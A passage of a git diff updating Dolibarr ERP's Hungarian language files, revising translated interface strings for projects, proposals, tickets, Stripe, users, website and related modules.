projektek -OnlyOpportunitiesShort=Csak potenciális ügyfelek -OpenedOpportunitiesShort=Nyitott lehetőségek -NotOpenedOpportunitiesShort=Nem nyitott lehetőség -NotAnOpportunityShort=Nem vezető -OpportunityTotalAmount=A lehetőségek teljes mennyisége -OpportunityPonderatedAmount=A lehetőségek súlyozott mennyisége -OpportunityPonderatedAmountDesc=Valószínűséggel súlyozott leadek összege -OppStatusPROSP=Potenciális +OnlyOpportunitiesShort=Csak előrehaladások +OpenedOpportunitiesShort=Nyitott előrehaladások +NotOpenedOpportunitiesShort=Nem nyitott előrehaladás +NotAnOpportunityShort=Nem előrehaladás +OpportunityTotalAmount=Az előrehaladások teljes mennyisége +OpportunityPonderatedAmount=Az előrehaladások súlyozott mennyisége +OpportunityPonderatedAmountDesc=Az előrehaladások valószínűséggel súlyozott összege +OppStatusPROSP=Előrelátás OppStatusQUAL=Minősítés -OppStatusPROPO=Javaslat +OppStatusPROPO=Árajánlat OppStatusNEGO=Tárgyalás -OppStatusPENDING=Függőben -OppStatusWON=Nyert +OppStatusPENDING=Függőben levő +OppStatusWON=Megnyert OppStatusLOST=Elveszett Budget=Költségvetés -AllowToLinkFromOtherCompany=Más vállalattól származó projekt összekapcsolásának engedélyezése

      Támogatott értékek:
      - Maradjon üresen: A vállalat bármely projektjét összekapcsolhatja (alapértelmezett)
      - "összes": Bármilyen projektet összekapcsolhat, még más vállalatok projektjeit is
      - A harmadik felek azonosítóinak listája vesszővel elválasztva: összekapcsolhatja e harmadik felek összes projektjét (Példa: 123,4795,53)
      -LatestProjects=A legújabb %s projekt -LatestModifiedProjects=A legutóbbi %s módosított projekt +AllowToLinkFromOtherCompany=Lehetővé teszi egy elem összekapcsolását egy másik vállalat projektjével

      Támogatott értékek:
      - Hagyja üresen: Az elemeket összekapcsolhatja az azonos vállalat bármely projektjével (alapértelmezett)
      - "minden": Bármilyen projektekkel összekapcsolhatja az elemeket, akár más cégek projektjeivel is
      - Harmadik fél azonosítóinak vesszővel elválasztott listája: Összekapcsolhatja az elemeket ezen harmadik felek bármely projektjével (Példa: 123,4795,53)
      +LatestProjects=A legutóbbi %s projektek +LatestModifiedProjects=A legutóbbi %s módosított projektek OtherFilteredTasks=Egyéb szűrt feladatok NoAssignedTasks=Nem található hozzárendelt feladat (rendelje hozzá a projektet/feladatokat az aktuális felhasználóhoz a felső jelölőnégyzetből az idő megadásához) -ThirdPartyRequiredToGenerateInvoice=Harmadik félnek meg kell határoznia a projektet, hogy ki tudja számlázni. -ThirdPartyRequiredToGenerateInvoice=Harmadik félnek meg kell határoznia a projektet, hogy ki tudja számlázni. -ChooseANotYetAssignedTask=Válasszon egy olyan feladatot, amely még nincs hozzárendelve +ThirdPartyRequiredToGenerateInvoice=Egy harmadik félnek meg kell határoznia a projektet, hogy ki tudja számlázni. +ThirdPartyRequiredToGenerateInvoice=Egy harmadik félnek meg kell határoznia a projektet, hogy ki tudja számlázni. +ChooseANotYetAssignedTask=Válasszon egy olyan feladatot, amely még nincs hozzád rendelve # Comments trans AllowCommentOnTask=A felhasználók megjegyzéseinek engedélyezése a feladatokhoz AllowCommentOnProject=A felhasználók megjegyzéseinek engedélyezése a projektekhez @@ -255,11 +259,12 @@ RecordsClosed=%s projekt lezárva SendProjectRef=Információs projekt %s ModuleSalaryToDefineHourlyRateMustBeEnabled=A 'Bérek' modult engedélyezni kell az alkalmazotti órabér meghatározásához, hogy az eltöltött idő értékelhető legyen NewTaskRefSuggested=Feladat ref. már használt, új feladat ref szükséges +NumberOfTasksCloned=%s task(s) cloned TimeSpentInvoiced=Kiszámlázott idő TimeSpentForIntervention=Eltöltött idő TimeSpentForInvoice=Eltöltött idő OneLinePerUser=Felhasználónként egy sor -ServiceToUseOnLines=Service to use on lines +ServiceToUseOnLines=Alapértelmezés szerint a vonalakon használható szolgáltatás InvoiceGeneratedFromTimeSpent=A %s számla a projektben eltöltött időből készült InterventionGeneratedFromTimeSpent=A %s beavatkozás a projektben eltöltött időből jött létre ProjectBillTimeDescription=Ellenőrizze, hogy megad-e munkaidő-nyilvántartást a projekt feladatairól ÉS azt tervezi, hogy számlá(ka)t generál az időnyilvántartásból, hogy kiszámlázza a projekt ügyfelét (ne ellenőrizze, hogy nem a megadott munkaidő-nyilvántartásokon alapuló számlát tervez-e készíteni). Megjegyzés: Számla generálásához lépjen a projekt „Eltöltött idő” lapjára, és válassza ki a bevonni kívánt sorokat. @@ -282,7 +287,7 @@ ProfitIsCalculatedWith=A profit kiszámítása a következővel történik: AddPersonToTask=Hozzáadás a feladatokhoz is UsageOrganizeEvent=Használat: Eseményszervezés PROJECT_CLASSIFY_CLOSED_WHEN_ALL_TASKS_DONE=Projekt besorolása lezártként, ha az összes feladat befejeződött (100%%-os előrehaladás) -PROJECT_CLASSIFY_CLOSED_WHEN_ALL_TASKS_DONE_help=Megjegyzés: a 100%%-os előrehaladással rendelkező meglévő projekteket ez nem érinti: manuálisan kell bezárnia őket. Ez az opció csak a nyitott projekteket érinti. +PROJECT_CLASSIFY_CLOSED_WHEN_ALL_TASKS_DONE_help=Note: existing projects with all tasks already set to a progress of 100 %% won't be affected: you will have to close them manually. This option only affects open projects. SelectLinesOfTimeSpentToInvoice=Válassza ki a nem számlázott idősorokat, majd a "Számla generálása" tömeges műveletet a számlázáshoz ProjectTasksWithoutTimeSpent=Projektfeladatok időráfordítás nélkül FormForNewLeadDesc=Köszönjük, hogy kitöltötte a következő űrlapot a kapcsolatfelvételhez. Küldhet nekünk e-mailt közvetlenül is a következő címre: %s. @@ -294,3 +299,4 @@ EnablePublicLeadForm=Engedélyezze a nyilvános űrlapot a kapcsolatfelvételhez NewLeadbyWeb=Üzenetét vagy kérését rögzítettük. Hamarosan válaszolunk vagy felvesszük Önnel a kapcsolatot. NewLeadForm=Új kapcsolatfelvételi űrlap LeadFromPublicForm=Online lehetőség nyilvános űrlapról +ExportAccountingReportButtonLabel=Jelentés beszerzése diff --git a/htdocs/langs/hu_HU/propal.lang b/htdocs/langs/hu_HU/propal.lang index a2c7f756838..e4b6dc4d14f 100644 --- a/htdocs/langs/hu_HU/propal.lang +++ b/htdocs/langs/hu_HU/propal.lang @@ -65,49 +65,54 @@ AvailabilityPeriod=Elérhetőségi késleltetés SetAvailability=Elérhetőségi késleltetés beállítása AfterOrder=rendelés után OtherProposals=Egyéb javaslatok + ##### Availability ##### AvailabilityTypeAV_NOW=Azonnali AvailabilityTypeAV_1W=1 hét AvailabilityTypeAV_2W=2 hét AvailabilityTypeAV_3W=3 hét AvailabilityTypeAV_1M=1 hónap -##### Types de contacts ##### + +##### Types ofe contacts ##### TypeContact_propal_internal_SALESREPFOLL=Reprezentatív nyomon követési javaslat TypeContact_propal_external_BILLING=Az ügyfél számla kapcsolattartója TypeContact_propal_external_CUSTOMER=Ügyfélkapcsolati követési javaslat TypeContact_propal_external_SHIPPING=Ügyfélkapcsolat a szállításhoz + # Document models -DocModelAzurDescription=Egy teljes ajánlatmodell (a ciánkék sablon régi megvalósítása) -DocModelCyanDescription=A teljes ajánlatmodell -DefaultModelPropalCreate=Alapértelmezett modell létrehozása -DefaultModelPropalToBill=Alapértelmezett sablon üzleti ajánlat lezárásakor (számlázandó) -DefaultModelPropalClosed=Alapértelmezett sablon üzleti ajánlat lezárásakor (számlázatlan) -ProposalCustomerSignature=Írásbeli elfogadás, cégbélyegző, dátum és aláírás -ProposalsStatisticsSuppliers=Szállítói ajánlatok statisztikái -CaseFollowedBy=Eset követi -SignedOnly=Csak aláírva -NoSign=A készlet nincs aláírva -NoSigned=készlet nincs aláírva CantBeNoSign=nem állítható be nincs aláírva +CaseFollowedBy=Eset követi ConfirmMassNoSignature=Tömeges Nem aláírt megerősítés ConfirmMassNoSignatureQuestion=Biztosan nem írja alá a kiválasztott rekordokat? -IsNotADraft=nem piszkozat -PassedInOpenStatus=érvényesítésre került -Sign=Aláírás -Signed=aláírva -ConfirmMassValidation=Tömeges megerősítés megerősítése ConfirmMassSignature=Tömeges aláírás megerősítése -ConfirmMassValidationQuestion=Biztosan érvényesíteni kívánja a kiválasztott rekordokat? ConfirmMassSignatureQuestion=Biztosan aláírja a kiválasztott rekordokat? -IdProposal=Ajánlatazonosító +ConfirmMassValidation=Tömeges megerősítés megerősítése +ConfirmMassValidationQuestion=Biztosan érvényesíteni kívánja a kiválasztott rekordokat? +ConfirmRefusePropal=Biztosan visszautasítja ezt az árajánlatot? +ContractSigned=Szerződés aláírva +DefaultModelPropalClosed=Alapértelmezett sablon üzleti ajánlat lezárásakor (számlázatlan) +DefaultModelPropalCreate=Alapértelmezett modell létrehozása +DefaultModelPropalToBill=Alapértelmezett sablon üzleti ajánlat lezárásakor (számlázandó) +DocModelAzurDescription=Egy teljes ajánlatmodell (a ciánkék sablon régi megvalósítása) +DocModelCyanDescription=A teljes ajánlatmodell +FichinterSigned=Intervention signed IdProduct=Termékazonosító +IdProposal=Ajánlatazonosító +IsNotADraft=nem piszkozat LineBuyPriceHT=Vételi ár a sor adó nélküli összege -SignPropal=Ajánlat elfogadása +NoSign=Elutasítás +NoSigned=készlet nincs aláírva +PassedInOpenStatus=érvényesítésre került +PropalAlreadyRefused=Az ajánlatot már elutasították +PropalAlreadySigned=Az ajánlatot már elfogadták +PropalRefused=Az ajánlat elutasítva +PropalSigned=Az ajánlat elfogadva +ProposalCustomerSignature=Írásbeli elfogadás, cégbélyegző, dátum és aláírás +ProposalsStatisticsSuppliers=Szállítói ajánlatok statisztikái RefusePropal=Ajánlat elutasítása Sign=Aláírás -NoSign=A készlet nincs aláírva -PropalAlreadySigned=Az ajánlatot már elfogadták -PropalAlreadyRefused=Az ajánlatot már elutasították -PropalSigned=Az ajánlat elfogadva -PropalRefused=Az ajánlat elutasítva -ConfirmRefusePropal=Biztosan visszautasítja ezt az árajánlatot? +SignContract=Sign contract +SignFichinter=Sign intervention +SignPropal=Ajánlat elfogadása +Signed=aláírva +SignedOnly=Csak aláírva diff --git a/htdocs/langs/hu_HU/recruitment.lang b/htdocs/langs/hu_HU/recruitment.lang index ac9364a8365..9bcbf958251 100644 --- a/htdocs/langs/hu_HU/recruitment.lang +++ b/htdocs/langs/hu_HU/recruitment.lang @@ -57,15 +57,16 @@ EmailRecruiter=E-mail toborzó ToUseAGenericEmail=Általános e-mail használatához. Ha nincs megadva, a toborzásért felelős e-mail-cím kerül felhasználásra NewCandidature=Új alkalmazás ListOfCandidatures=Alkalmazások listája -RequestedRemuneration=Kért díjazás -ProposedRemuneration=Javasolt díjazás +Remuneration=Fizetés +RequestedRemuneration=Kért fizetés +ProposedRemuneration=Javasolt fizetés ContractProposed=Javasolt szerződés ContractSigned=Szerződés aláírva ContractRefused=A szerződés elutasítva RecruitmentCandidature=Jelentkezés JobPositions=Munkakörök RecruitmentCandidatures=Alkalmazások -InterviewToDo=Interjú +InterviewToDo=Contacts to follow AnswerCandidature=Jelentkezési válasz YourCandidature=Az Ön jelentkezése YourCandidatureAnswerMessage=Köszönjük jelentkezését.
      ... diff --git a/htdocs/langs/hu_HU/salaries.lang b/htdocs/langs/hu_HU/salaries.lang index 02893a0d0f1..e8e2d66c072 100644 --- a/htdocs/langs/hu_HU/salaries.lang +++ b/htdocs/langs/hu_HU/salaries.lang @@ -1,6 +1,6 @@ # Dolibarr language file - Source file is en_US - salaries -SALARIES_ACCOUNTING_ACCOUNT_PAYMENT=A felhasználók harmadik felei számára használt számviteli fiók -SALARIES_ACCOUNTING_ACCOUNT_PAYMENT_Desc=A felhasználói kártyán definiált dedikált könyvelési számla csak alkönyvelésre lesz használva. Ez lesz a főkönyvhöz és az alkönyvi könyvelés alapértelmezett értékeként használatos, ha a felhasználónál nincs dedikált felhasználói fiók. +SALARIES_ACCOUNTING_ACCOUNT_PAYMENT=Account (from the Chart of Account) used by default for "user" third parties +SALARIES_ACCOUNTING_ACCOUNT_PAYMENT_Desc=The dedicated account defined on user card will be used for Subledger accounting only. This one will be used for General Ledger and as default value of Subledger accounting if dedicated user accounting account on user is not defined. SALARIES_ACCOUNTING_ACCOUNT_CHARGE=Alapértelmezés szerint könyvelési számla a bérfizetéshez CREATE_NEW_SALARY_WITHOUT_AUTO_PAYMENT=A fizetés létrehozásakor alapértelmezés szerint hagyja üresen az "Összfizetés automatikus létrehozása" lehetőséget Salary=Fizetés diff --git a/htdocs/langs/hu_HU/sms.lang b/htdocs/langs/hu_HU/sms.lang index 26e69c3d78d..4b1465e7076 100644 --- a/htdocs/langs/hu_HU/sms.lang +++ b/htdocs/langs/hu_HU/sms.lang @@ -10,7 +10,7 @@ SmsRecipient=Cél SmsTitle=Leírás SmsFrom=Feladó SmsTo=Cél -SmsTopic=Téma SMS +SmsTopic=SMS témája SmsText=Üzenet SmsMessage=SMS-üzenet ShowSms=SMS megjelenítése diff --git a/htdocs/langs/hu_HU/stripe.lang b/htdocs/langs/hu_HU/stripe.lang index 1444c2bfd58..72835cc52b8 100644 --- a/htdocs/langs/hu_HU/stripe.lang +++ b/htdocs/langs/hu_HU/stripe.lang @@ -41,7 +41,8 @@ STRIPE_LIVE_WEBHOOK_KEY=Webhook élő kulcs ONLINE_PAYMENT_WAREHOUSE=A készlet csökkentésére használható készlet, amikor online fizetés megtörtént
      (TODO Amikor a készletcsökkentési lehetőség megtörténik egy számlán végzett műveletnél, és az online fizetés önmagában generálja a számlát?) StripeLiveEnabled=Stripe live engedélyezve (egyébként teszt/sandbox mód) StripeImportPayment=Stripe fizetések importálása -ExampleOfTestCreditCard=Példa hitelkártyára a teszteléshez: %s => érvényes, %s => CVC hiba, %s => lejárt, %s => terhelés sikertelen +ExampleOfTestCreditCard=Example of credit card for SEPA test: %s => valid, %s => error CVC, %s => expired, %s => charge fails +ExampleOfTestBankAcountForSEPA=Example of bank account BAN for direct debit test: %s StripeGateways=Stripe átjárók OAUTH_STRIPE_TEST_ID=Stripe Connect kliensazonosító (ca_...) OAUTH_STRIPE_LIVE_ID=Stripe Connect kliensazonosító (ca_...) @@ -61,6 +62,7 @@ DeleteACard=Kártya törlése ConfirmDeleteCard=Biztosan törölni szeretné ezt a hitel- vagy betéti kártyát? CreateCustomerOnStripe=Ügyfél létrehozása a Stripe-on CreateCardOnStripe=Kártya létrehozása a Stripe-on +CreateBANOnStripe=Create bank on Stripe ShowInStripe=Stripe megjelenítés StripeUserAccountForActions=Felhasználói fiók, amely e-mailben értesíti egyes Stripe eseményekről (Stripe kifizetések) StripePayoutList=Stripe kifizetések listája @@ -69,4 +71,8 @@ ToOfferALinkForLiveWebhook=Link a Stripe WebHook beállításához az IPN hívá PaymentWillBeRecordedForNextPeriod=A fizetés a következő időszakra kerül rögzítésre. ClickHereToTryAgain=Kattintson ide az újrapróbálkozáshoz... CreationOfPaymentModeMustBeDoneFromStripeInterface=Az erős ügyfél-hitelesítési szabályok miatt a kártyát a Stripe backoffice-ból kell létrehozni. Ide kattintva bekapcsolhatja a Stripe ügyfélrekordot: %s -TERMINAL_LOCATION=A terminálok helye (címe). +STRIPE_CARD_PRESENT=Card Present for Stripe Terminals +TERMINAL_LOCATION=Location (address) for Stripe Terminals +RequestDirectDebitWithStripe=Request Direct Debit with Stripe +STRIPE_SEPA_DIRECT_DEBIT=Enable the Direct Debit payments through Stripe + diff --git a/htdocs/langs/hu_HU/suppliers.lang b/htdocs/langs/hu_HU/suppliers.lang index 42699314bb0..baf02fe0a97 100644 --- a/htdocs/langs/hu_HU/suppliers.lang +++ b/htdocs/langs/hu_HU/suppliers.lang @@ -4,6 +4,7 @@ SuppliersInvoice=Szállítói számla SupplierInvoices=Szállítói számlák ShowSupplierInvoice=Szállítói számla megjelenítése NewSupplier=Új szállító +NewSupplierInvoice = Új szállítói számla History=Történet ListOfSuppliers=Szállítók listája ShowSupplier=Szállító megjelenítése diff --git a/htdocs/langs/hu_HU/ticket.lang b/htdocs/langs/hu_HU/ticket.lang index edb3da6045c..c01e929ec95 100644 --- a/htdocs/langs/hu_HU/ticket.lang +++ b/htdocs/langs/hu_HU/ticket.lang @@ -26,7 +26,9 @@ Permission56002=Jegyek módosítása Permission56003=Jegyek törlése Permission56004=Jegyek kezelése Permission56005=Minden harmadik fél jegyeinek megtekintése (külső felhasználókra nem érvényes, mindig csak arra a harmadik félre korlátozódjon, akitől függnek) +Permission56006=Export tickets +Tickets=Jegyek TicketDictType=Jegy - típusok TicketDictCategory=Jegy - Csoportok TicketDictSeverity=Jegy – Súlyosságok @@ -60,6 +62,8 @@ TypeContact_ticket_external_CONTRIBUTOR=Külső közreműködő OriginEmail=Jelentés e-mail Notify_TICKET_SENTBYMAIL=Jegy üzenet küldése e-mailben +ExportDataset_ticket_1=Jegyek + # Status Read=Olvasás Assigned=Hozzárendelve @@ -90,8 +94,8 @@ TicketPublicAccess=A következő URL-címen elérhető egy nyilvános interfész TicketSetupDictionaries=A jegy típusa, súlyossága és az analitikai kódok szótárakból konfigurálhatók TicketParamModule=Modulváltozó beállítása TicketParamMail=E-mail beállítása -TicketEmailNotificationFrom=Sender e-mail for notification on answers -TicketEmailNotificationFromHelp=Sender e-mail to use to send the notification email when an answer is provided inside the backoffice. For example noreply@example.com +TicketEmailNotificationFrom=E-mail küldése a válaszokról +TicketEmailNotificationFromHelp=Küldő e-mail, amellyel értesítő e-mailt küldhet, ha válasz érkezik a háttérirodán belül. Például noreply@example.com TicketEmailNotificationTo=Értesítés a jegy létrehozásáról erre az e-mail címre TicketEmailNotificationToHelp=Ha van, ez az e-mail cím értesítést kap a jegy létrehozásáról TicketNewEmailBodyLabel=Szöveges üzenet a jegy létrehozása után @@ -149,6 +153,8 @@ TicketsAutoNotifyCloseHelp=A jegy lezárásakor a rendszer javasolni fogja, hogy TicketWrongContact=A megadott elérhetőség nem része az aktuális jegykapcsolatoknak. Az e-mailt nem küldték el. TicketChooseProductCategory=Termékkategória a jegytámogatáshoz TicketChooseProductCategoryHelp=Válassza ki a jegytámogatás termékkategóriáját. Ez arra szolgál, hogy egy szerződést automatikusan egy jegyhez kapcsoljanak. +TicketUseCaptchaCode=Use graphical code (CAPTCHA) when creating a ticket +TicketUseCaptchaCodeHelp=Adds CAPTCHA verification when creating a new ticket. # # Index & list page @@ -180,7 +186,7 @@ CreatedBy=Létrehozta NewTicket=Új jegy SubjectAnswerToTicket=Jegy válasz TicketTypeRequest=Kérés típusa -TicketCategory=Jegyek kategorizálása +TicketCategory=Ticket group SeeTicket=Lásd a jegyet TicketMarkedAsRead=A jegy olvasottként meg lett jelölve TicketReadOn=Olvass tovább @@ -192,8 +198,7 @@ TicketAssigned=A jegy most hozzá van rendelve TicketChangeType=Típus módosítása TicketChangeCategory=Analitikai kód módosítása TicketChangeSeverity=Súlyosság módosítása -TicketAddMessage=Üzenet hozzáadása -AddMessage=Üzenet hozzáadása +TicketAddMessage=Add private message MessageSuccessfullyAdded=Jegy hozzáadva TicketMessageSuccessfullyAdded=Az üzenet sikeresen hozzáadva TicketMessagesList=Üzenetlista @@ -204,8 +209,8 @@ TicketSeverity=Súlyosság ShowTicket=Lásd a jegyet RelatedTickets=Kapcsolódó jegyek TicketAddIntervention=Beavatkozás létrehozása -CloseTicket=Bezárás|Jegy megoldása -AbandonTicket=Jegy elhagyása +CloseTicket=Close|Solve +AbandonTicket=Abandon CloseATicket=Bezárás|Jegy megoldása ConfirmCloseAticket=Jegyzárás megerősítése ConfirmAbandonTicket=Megerősíti, hogy a jegy 'Elhagyott' állapotba zárta @@ -219,18 +224,17 @@ SendMessageByEmail=Üzenet küldése e-mailben TicketNewMessage=Új üzenet ErrorMailRecipientIsEmptyForSendTicketMessage=A címzett üres. Nincs e-mail küldés TicketGoIntoContactTab=Kérjük, lépjen a "Kapcsolatok" fülre a kiválasztásához -TicketMessageMailIntro=Bevezetés +TicketMessageMailIntro=Message header TicketMessageMailIntroHelp=Ez a szöveg csak az e-mail elejére kerül hozzáadásra, és nem kerül mentésre. -TicketMessageMailIntroLabelAdmin=Bevezető szöveg az összes jegyválaszhoz TicketMessageMailIntroText=Üdvözöljük,
      Új válasz került az Ön által követett jegyhez. Íme az üzenet:
      TicketMessageMailIntroHelpAdmin=Ez a szöveg a válasz elé kerül beszúrásra, amikor a Dolibarr jegyére válaszol -TicketMessageMailSignature=Aláírás -TicketMessageMailSignatureHelp=Ez a szöveg csak az e-mail végére kerül hozzáadásra, és nem kerül mentésre. -TicketMessageMailSignatureText=Az üzenetet küldte: %s a Dolibarron keresztül -TicketMessageMailSignatureLabelAdmin=Válasz-e-mail aláírása -TicketMessageMailSignatureHelpAdmin=Ez a szöveg a válaszüzenet után lesz beszúrva. +TicketMessageMailFooter=Message footer +TicketMessageMailFooterHelp=This text is added only at the end of the message sent by email and will not be saved. +TicketMessageMailFooterText=Az üzenetet küldte: %s a Dolibarron keresztül +TicketMessageMailFooterHelpAdmin=Ez a szöveg a válaszüzenet után lesz beszúrva. TicketMessageHelp=Csak ez a szöveg kerül mentésre a jegykártya üzenetlistájába. TicketMessageSubstitutionReplacedByGenericValues=A helyettesítési változókat általános értékek váltják fel. +ForEmailMessageWillBeCompletedWith=For email messages sent to external users, the message will be completed with TimeElapsedSince=Azóta eltelt idő TicketTimeToRead=Az olvasás előtt eltelt idő TicketTimeElapsedBeforeSince=Előtte / azóta eltelt idő @@ -241,6 +245,7 @@ TicketMessageMailIntroAutoNewPublicMessage=Új üzenet került a jegyre %s tárg TicketAssignedToYou=Jegy hozzárendelve TicketAssignedEmailBody=A(z) #%s jegyet %s rendelte hozzá MarkMessageAsPrivate=Üzenet megjelölése privátként +TicketMessageSendEmailHelp=An email will be sent to all assigned contact (internal contacts, but also external contacts except if the option "%s" is checked) TicketMessagePrivateHelp=Ez az üzenet nem jelenik meg külső felhasználók számára TicketEmailOriginIssuer=A jegyek kibocsátója InitialMessage=Kezdő üzenet @@ -296,7 +301,7 @@ TicketNewEmailBodyInfosTrackUrlCustomer=A következő linkre kattintva megtekint TicketCloseEmailBodyInfosTrackUrlCustomer=A jegy történetét a következő linkre kattintva tekintheti meg TicketEmailPleaseDoNotReplyToThisEmail=Kérjük, ne válaszoljon közvetlenül erre az e-mailre! A hivatkozás segítségével válaszoljon a felületre. TicketPublicInfoCreateTicket=Ez az űrlap lehetővé teszi támogatási jegy rögzítését kezelőrendszerünkben. -TicketPublicPleaseBeAccuratelyDescribe=Kérjük, pontosan írja le a problémát. Adja meg a lehető legtöbb információt, hogy helyesen azonosíthassuk kérelmét. +TicketPublicPleaseBeAccuratelyDescribe=Kérjük, pontosan írja le kérdését. Adja meg a lehető legtöbb információt, hogy helyesen azonosíthassuk kérelmét. TicketPublicMsgViewLogIn=Kérjük, adja meg a jegykövetési azonosítót TicketTrackId=Nyilvános követési azonosító OneOfTicketTrackId=Az egyik követőazonosítód diff --git a/htdocs/langs/hu_HU/users.lang b/htdocs/langs/hu_HU/users.lang index 959749a7053..84825d582c3 100644 --- a/htdocs/langs/hu_HU/users.lang +++ b/htdocs/langs/hu_HU/users.lang @@ -47,7 +47,7 @@ RemoveFromGroup=Eltávolítás a csoportból PasswordChangedAndSentTo=A jelszó megváltoztatva és elküldve: %s. PasswordChangeRequest=Kérés a következőhöz: %s PasswordChangeRequestSent=%s által kért jelszóváltoztatás el lett küldve ide: %s. -IfLoginExistPasswordRequestSent=Ha ez a bejelentkezési név érvényes fiók, akkor a rendszer elküldte a jelszó visszaállítására vonatkozó e-mailt. +IfLoginExistPasswordRequestSent=If this login is a valid account (with a valid email), an email to reset password has been sent. IfEmailExistPasswordRequestSent=Ha ez az e-mail egy érvényes fiók, akkor a rendszer elküldte a jelszó visszaállításához szükséges e-mailt. ConfirmPasswordReset=Jelszó visszaállításának megerősítése MenuUsersAndGroups=Felhasználók és csoportok @@ -66,9 +66,9 @@ LinkedToDolibarrUser=Link a felhasználóhoz LinkedToDolibarrThirdParty=Link harmadik félhez CreateDolibarrLogin=Felhasználó létrehozása CreateDolibarrThirdParty=Harmadik fél létrehozása -LoginAccountDisableInDolibarr=Fiók kiakapcsolva a Dolibarrban. +LoginAccountDisableInDolibarr=Account disabled in Dolibarr +PASSWORDInDolibarr=Password modified in Dolibarr UsePersonalValue=Személyes érték használata -InternalUser=Belső felahsználó ExportDataset_user_1=Felhasználók és tulajdonságaik DomainUser=Domain felhasználók %s Reactivate=Újra aktiválás @@ -128,3 +128,8 @@ DateLastLogin=Az utolsó bejelentkezés dátuma DatePreviousLogin=Az előző bejelentkezés dátuma IPLastLogin=Utolsó bejelentkezés IP címe IPPreviousLogin=Előző bejelentkezés IP címe +ShowAllPerms=Show all permission rows +HideAllPerms=Hide all permission rows +UserPublicPageDesc=You can enable a virtual card for this user. An url with the user profile and a barcode will be available to allow anybody with a smartphone to scan it and add your contact to its address book. +EnablePublicVirtualCard=Enable the public virtual user card +PublicVirtualCardUrl=Public virtual user card diff --git a/htdocs/langs/hu_HU/website.lang b/htdocs/langs/hu_HU/website.lang index 61b8f8885c7..26cb868d8b6 100644 --- a/htdocs/langs/hu_HU/website.lang +++ b/htdocs/langs/hu_HU/website.lang @@ -1,5 +1,6 @@ # Dolibarr language file - Source file is en_US - website Shortname=Kód +WebsiteName=A weboldal neve WebsiteSetupDesc=Hozza létre itt a használni kívánt webhelyeket. Ezután lépjen be a Webhelyek menübe a szerkesztésükhöz. DeleteWebsite=Webhely törlése ConfirmDeleteWebsite=Biztosan törölni szeretné ezt a webhelyet? Minden oldala és tartalma is eltávolításra kerül. A feltöltött fájlok (például a medias könyvtárba, az ECM modulba, ...) megmaradnak. @@ -15,9 +16,9 @@ WEBSITE_HTML_HEADER=Kiegészítés a HTML-fejléc alján (minden oldalon közös WEBSITE_ROBOT=Robot fájl (robots.txt) WEBSITE_HTACCESS=Webhely .htaccess fájl WEBSITE_MANIFEST_JSON=Webhely manifest.json fájl -WEBSITE_README=README.md fájl WEBSITE_KEYWORDSDesc=Használjon vesszőt az értékek elválasztásához -EnterHereLicenseInformation=Írja be ide a metaadatokat vagy a licencinformációkat a README.md fájl kitöltéséhez. ha a webhelyét sablonként terjeszti, a fájl bekerül a temptate csomagba. +EnterHereReadmeInformation=Ide írja be a webhely leírását. Ha webhelyét sablonként terjeszti, a fájl bekerül a temptate csomagba. +EnterHereLicenseInformation=Ide írja be a weboldal kódjának LICENCÉT. Ha a webhelyét sablonként terjeszti, a fájl bekerül a temptate csomagba. HtmlHeaderPage=HTML fejléc (csak erre az oldalra vonatkozik) PageNameAliasHelp=Az oldal neve vagy álneve.
      Ezt az álnevet egy SEO URL hamisításához is használják, amikor a webhely egy webszerver virtuális gazdagépéről fut (például Apacke, Nginx stb.). Az alias szerkesztéséhez használja a "%s" gombot. EditTheWebSiteForACommonHeader=Megjegyzés: Ha személyre szabott fejlécet szeretne definiálni minden oldalhoz, szerkessze a fejlécet a webhely szintjén az oldal/tároló helyett. @@ -42,6 +43,8 @@ ViewPageInNewTab=Oldal megtekintése új lapon SetAsHomePage=Beállítás kezdőlapként RealURL=Valódi URL ViewWebsiteInProduction=Webhely megtekintése otthoni URL-ek használatával +Virtualhost=Virtuális gazdagép vagy domain név +VirtualhostDesc=A virtuális gazdagép vagy tartomány neve (például: www.mywebsite.com, mybigcompany.net, ...) SetHereVirtualHost=Használat Apache/NGinx/... segítségével
      Hozzon létre webszerverén (Apache, Nginx, ...) egy dedikált virtuális gazdagépet PHP-vel és egy gyökérkönyvtárral a
      %s ExampleToUseInApacheVirtualHostConfig=Példa az Apache virtuális gazdagép beállításához: YouCanAlsoTestWithPHPS=Használat beágyazott PHP szerverrel
      Fejlesztői környezetben érdemes lehet tesztelni a webhelyet a PHP beágyazott webszerverrel (PHP 5.5 szükséges) a
      php -S futtatásával 0.0.0.0:8080 -t %s @@ -137,7 +140,7 @@ PagesRegenerated=%s oldal(ok)/tároló(k) újragenerálva RegenerateWebsiteContent=A webhely gyorsítótár fájljainak újragenerálása AllowedInFrames=Keretekben engedélyezett DefineListOfAltLanguagesInWebsiteProperties=Határozza meg az összes elérhető nyelv listáját webhelytulajdonságokba. -GenerateSitemaps=Webhelytérkép fájl létrehozása +GenerateSitemaps=Generate website sitemap.xml file ConfirmGenerateSitemaps=Ha megerősíti, törli a meglévő webhelytérkép fájlt... ConfirmSitemapsCreation=Webhelytérkép létrehozásának megerősítése SitemapGenerated=A(z) %s webhelytérképfájl létrejött @@ -145,3 +148,10 @@ ImportFavicon=Favicon ErrorFaviconType=A kedvencnek png-nek kell lennie ErrorFaviconSize=A kedvencnek 16x16, 32x32 vagy 64x64 méretűnek kell lennie FaviconTooltip=Töltsön fel egy képet, amelynek png-nek kell lennie (16x16, 32x32 vagy 64x64) +NextContainer=Következő oldal/tároló +PreviousContainer=Előző oldal/tároló +WebsiteMustBeDisabled=The website must have the status "%s" +WebpageMustBeDisabled=The web page must have the status "%s" +SetWebsiteOnlineBefore=When website is offline, all pages are offline. Change status of website first. +Booking=Booking +Reservation=Reservation diff --git a/htdocs/langs/hu_HU/withdrawals.lang b/htdocs/langs/hu_HU/withdrawals.lang index eba96d096d5..e83cf1f6b05 100644 --- a/htdocs/langs/hu_HU/withdrawals.lang +++ b/htdocs/langs/hu_HU/withdrawals.lang @@ -33,7 +33,7 @@ InvoiceWaitingPaymentByBankTransfer=Átutalásra váró számla AmountToWithdraw=Kivonandó összeg AmountToTransfer=Átutalandó összeg NoInvoiceToWithdraw=Nincs nyitott számla '%s' számára. A kérés benyújtásához lépjen a számlakártyán a „%s” fülre. -NoSupplierInvoiceToWithdraw=Nincs nyitott 'Közvetlen jóváírási kérelmet' tartalmazó szállítói számla. A kérés benyújtásához lépjen a számlakártyán a „%s” fülre. +NoSupplierInvoiceToWithdraw=No supplier invoice with open '%s' is waiting. Go on tab '%s' on invoice card to make a request. ResponsibleUser=Felelős felhasználó WithdrawalsSetup=A 